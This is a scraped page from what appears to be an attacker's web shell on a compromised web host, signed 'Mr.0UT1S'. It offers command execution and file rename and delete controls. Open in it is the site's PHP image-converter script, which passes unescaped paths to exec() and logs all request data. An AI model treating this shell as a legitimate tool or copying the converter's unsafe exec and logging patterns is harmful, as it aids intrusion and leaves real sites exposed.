home
/
aioutajg
/
public_html
/
converter
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] assets
N/A
[DIR] parts
N/A
convert.php
6.29 KB
Rename
Delete
delete.php
466 bytes
Rename
Delete
download.php
765 bytes
Rename
Delete
error_log
954 bytes
Rename
Delete
index.php
4.97 KB
Rename
Delete
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $uploadDir = __DIR__ . '/../../uploads/'; $allowedOriginalFormats = ['png', 'jpg', 'jpeg', 'heic', 'svg', 'webp', 'gif']; // Allowed input formats $allowedTargetFormats = ['png', 'jpg', 'jpeg', 'webp', 'heic', 'gif', 'svg']; // Allowed output formats // Debug: Log POST data and FILES data error_log("POST Data: " . print_r($_POST, true)); error_log("FILES Data: " . print_r($_FILES, true)); // Validate uploaded files if (empty($_FILES['image']) || !is_array($_FILES['image']['name'])) { echo json_encode(['error' => 'No files uploaded.']); exit; } $targetFormat = strtolower($_POST['format']); $originalExtensions = array_map('strtolower', array_column($_FILES['image']['name'], 'extension')); // Validate target format if (!in_array($targetFormat, $allowedTargetFormats)) { echo json_encode(['error' => 'Unsupported target format.']); exit; } $convertedFiles = []; try { // Process each uploaded file foreach ($_FILES['image']['name'] as $index => $name) { $tmpName = $_FILES['image']['tmp_name'][$index]; $error = $_FILES['image']['error'][$index]; $originalExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); // Check for upload errors if ($error !== UPLOAD_ERR_OK) { error_log("File Upload Error Code: " . $error); continue; // Skip this file and process the next one } // Validate file format if (!in_array($originalExtension, $allowedOriginalFormats)) { error_log("Unsupported file format: " . $name); continue; // Skip unsupported formats } // Generate unique file names $originalFile = uniqid('original_', true) . '.' . $originalExtension; $convertedFile = uniqid('converted_', true) . '.' . $targetFormat; // Save original file if (!move_uploaded_file($tmpName, $uploadDir . $originalFile)) { error_log("Failed to save uploaded file: " . $name); continue; // Skip this file if saving fails } // Convert image using Imagick or Inkscape if ($originalExtension === 'svg' && $targetFormat === 'svg') { // Copy the SVG file (no conversion needed) copy($uploadDir . $originalFile, $uploadDir . $convertedFile); } elseif ($originalExtension === 'svg' && in_array($targetFormat, ['png', 'jpg', 'jpeg', 'webp'])) { // Convert SVG to raster format using Inkscape $command = "inkscape --export-type={$targetFormat} --export-filename={$uploadDir}{$convertedFile} {$uploadDir}{$originalFile}"; exec($command, $output, $returnVar); if ($returnVar !== 0) { error_log("Inkscape command failed: " . implode("\n", $output)); unlink($uploadDir . $originalFile); continue; // Skip this file if conversion fails } } elseif (in_array($originalExtension, ['png', 'jpg', 'jpeg', 'webp', 'heic', 'gif']) && $targetFormat === 'svg') { // Convert raster format to SVG using Inkscape $command = "inkscape --export-type=svg --export-filename={$uploadDir}{$convertedFile} {$uploadDir}{$originalFile}"; exec($command, $output, $returnVar); if ($returnVar !== 0) { error_log("Inkscape command failed: " . implode("\n", $output)); unlink($uploadDir . $originalFile); continue; // Skip this file if conversion fails } } else { // Convert image using Imagick try { $image = new Imagick($uploadDir . $originalFile); $image->setImageFormat($targetFormat); file_put_contents($uploadDir . $convertedFile, $image); $image->clear(); $image->destroy(); } catch (Exception $e) { error_log("Imagick conversion failed: " . $e->getMessage()); unlink($uploadDir . $originalFile); continue; // Skip this file if conversion fails } } // Add converted file to the list if (file_exists($uploadDir . $convertedFile) && filesize($uploadDir . $convertedFile) > 0) { $convertedFiles[] = $convertedFile; } else { error_log("Converted file is zero KB: " . $convertedFile); unlink($uploadDir . $originalFile); continue; // Skip this file if conversion fails } } // Return JSON response with converted files or ZIP file if (!empty($convertedFiles)) { if (count($convertedFiles) === 1) { // Single file: Return direct download link echo json_encode(['success' => true, 'files' => [$convertedFiles[0]]]); } else { // Multiple files: Create a ZIP archive $zipFileName = uniqid('converted_images_', true) . '.zip'; $zipFilePath = $uploadDir . $zipFileName; $zip = new ZipArchive(); if ($zip->open($zipFilePath, ZipArchive::CREATE) === TRUE) { foreach ($convertedFiles as $file) { $zip->addFile($uploadDir . $file, $file); } $zip->close(); // Return ZIP file download link echo json_encode(['success' => true, 'zip' => $zipFileName]); } else { echo json_encode(['error' => 'Failed to create ZIP archive.']); } } } else { echo json_encode(['error' => 'No files were successfully converted.']); } } catch (Exception $e) { echo json_encode(['error' => 'An unexpected error occurred: ' . $e->getMessage()]); } } else { echo json_encode(['error' => 'Invalid request method.']); } ?>
Save